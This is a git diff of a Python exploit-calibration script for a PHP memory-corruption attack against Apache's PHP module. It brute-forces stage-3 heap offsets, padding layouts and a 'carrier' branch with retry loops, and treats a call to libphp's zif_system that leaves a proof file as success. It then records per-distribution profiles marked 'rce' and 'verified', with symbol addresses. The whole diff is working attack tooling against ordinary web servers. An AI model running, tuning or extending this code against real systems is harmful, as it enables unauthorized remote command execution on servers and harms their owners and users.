@@ -288,44 +288,76 @@ def stage3_profile_json(stage3):
288288 if pads == "lab" :
289289 return [[8 , 7 ]] + [[7 , 7 ]] * 5 , False
290290 if isinstance (pads , list ):
291- return [list (p ) for p in pads ], True
291+ return [list (p ) for p in pads ], bool ( stage3 . get ( "carrier" ))
292292 return [[31 , 31 ]] * 6 , True
293293
294294
295+ def stage3_carrier_for (pads , override ):
296+ """Whether this layout uses the upstream 15-byte carrier.
297+
298+ Explicit pads are calibrated with the non-carrier branch by default: that
299+ is the only branch where the per-build fake-reference knobs apply. Pass
300+ --stage3-carrier carrier to measure the carrier layout instead.
301+ """
302+ if override == "carrier" :
303+ return True
304+ if override == "lab" :
305+ return False
306+ if pads == "lab" :
307+ return False
308+ return not isinstance (pads , list )
309+
310+
295311def calibrate_stage3 (mod , ex , chunk , lib , zif , proof , hints ):
296312 if not chunk or not lib :
297313 return False , None
314+ attempts = max (1 , int (hints .get ("stage3_attempts" ) or 5 ))
315+ pads_arg = hints .get ("stage3_pads" )
316+ explicit = None
317+ if pads_arg not in (None , "bookworm" , "lab" ):
318+ explicit = parse_pads (pads_arg )
298319 layouts = []
299320 if hints .get ("stage3_htdata" ):
300- layouts .append (("hint" , hints ["stage3_htdata" ], parse_pads (hints .get ("stage3_pads" ))))
321+ layouts .append (("hint" , hints ["stage3_htdata" ],
322+ explicit if explicit is not None else (pads_arg or "bookworm" )))
323+ elif explicit is not None :
324+ # An explicit pads spec is useful on its own: try it with every known
325+ # htdata slot instead of silently falling back to the built-in pairs.
326+ for off in (0x690D8 , 0x6E0D8 , 0x5404A ):
327+ layouts .append ((f"{ hex (off )} /explicit" , off , explicit ))
301328 else :
302329 for off in (0x690D8 , 0x6E0D8 , 0x5404A ):
303330 for pads in ("bookworm" , "lab" ):
304331 layouts .append ((f"{ hex (off )} /{ pads } " , off , pads ))
305332 for name , off , pads in layouts :
306- try :
307- if os .path .exists (proof ):
308- os .unlink (proof )
309- except OSError :
310- pass
311- if pads == "lab" :
312- ex .stage3_carrier = False
313- ex .stage3_pads = [(8 , 7 )] + [(7 , 7 )] * 5
314- elif isinstance (pads , list ):
315- ex .stage3_carrier = True
316- ex .stage3_pads = pads
317- else :
318- ex .stage3_carrier = True
319- ex .stage3_pads = [(31 , 31 )] * 6
320- try :
321- ex .rotate ()
322- ex .stage3 (chunk + off , lib + zif )
323- except Exception as exc :
324- print (f" stage3 { name } : { exc } " )
325- if os .path .exists (proof ) and os .path .getsize (proof ) > 0 :
326- print (f"[+] stage3 { name } : { open (proof ).read ().strip ()} " )
327- return True , {"htdata" : off , "pads" : pads }
328- print (f" stage3 { name } : no proof" )
333+ carrier = stage3_carrier_for (pads , hints .get ("stage3_carrier" ))
334+ for attempt in range (1 , attempts + 1 ):
335+ try :
336+ if os .path .exists (proof ):
337+ os .unlink (proof )
338+ except OSError :
339+ pass
340+ if pads == "lab" :
341+ ex .stage3_pads = [(8 , 7 )] + [(7 , 7 )] * 5
342+ elif isinstance (pads , list ):
343+ ex .stage3_pads = pads
344+ else :
345+ ex .stage3_pads = [(31 , 31 )] * 6
346+ ex .stage3_carrier = carrier
347+ try :
348+ # A fresh worker restores the deterministic heap before every
349+ # attempt (upstream rotates the same way in its retry loop).
350+ ex .rotate ()
351+ ex .stage3 (chunk + off , lib + zif )
352+ except Exception as exc :
353+ print (f" stage3 { name } try { attempt } /{ attempts } : { exc } " )
354+ if os .path .exists (proof ) and os .path .getsize (proof ) > 0 :
355+ print (f"[+] stage3 { name } try { attempt } /{ attempts } : "
356+ f"{ open (proof ).read ().strip ()} " )
357+ return True , {"htdata" : off , "pads" : pads ,
358+ "carrier" : carrier }
359+ if attempts > 1 :
360+ print (f" stage3 { name } try { attempt } /{ attempts } : no proof" )
329361 return False , None
330362
331363
@@ -353,6 +385,11 @@ def main() -> int:
353385 ap .add_argument ("--stage3-htdata" , type = lambda x : int (x , 0 ))
354386 ap .add_argument ("--stage3-pads" , default = None ,
355387 help = 'bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"' )
388+ ap .add_argument ("--stage3-carrier" , choices = ("auto" , "carrier" , "lab" ),
389+ default = "auto" ,
390+ help = "stage-3 branch: carrier (15-byte upstream string), "
391+ "lab (fake-reference carriers), or auto (carrier for "
392+ "bookworm, lab for explicit/lab pads)" )
356393 ap .add_argument ("--distro" , default = "unknown" )
357394 ap .add_argument ("--arch" , choices = ("aarch64" , "amd64" ), default = None )
358395 args = ap .parse_args ()
@@ -406,11 +443,14 @@ def main() -> int:
406443 "fixed_in" : f"{ branch } .{ fixed } " if fixed else None ,
407444 "sapi" : "apache2handler" ,
408445 "arch" : arch ,
409- "distro" : "debian" if "bookworm" in args .distro else args .distro ,
446+ "distro" : ("debian" if any (x in args .distro for x in
447+ ("bookworm" , "bullseye" , "buster" , "trixie" ,
448+ "deb13" , "debian" ))
449+ else args .distro ),
410450 "verified" : rce ,
411451 "rce" : rce ,
412452 "oom_mb" : 12 ,
413- "upstream_profile" : "bookworm" ,
453+ "upstream_profile" : "bookworm" if s3_carrier else "lab" ,
414454 "libphp" : {
415455 "zif_system" : hex (sym ["zif_system" ]),
416456 "zval_ptr_dtor" : hex (sym ["zval_ptr_dtor" ]),
0 commit comments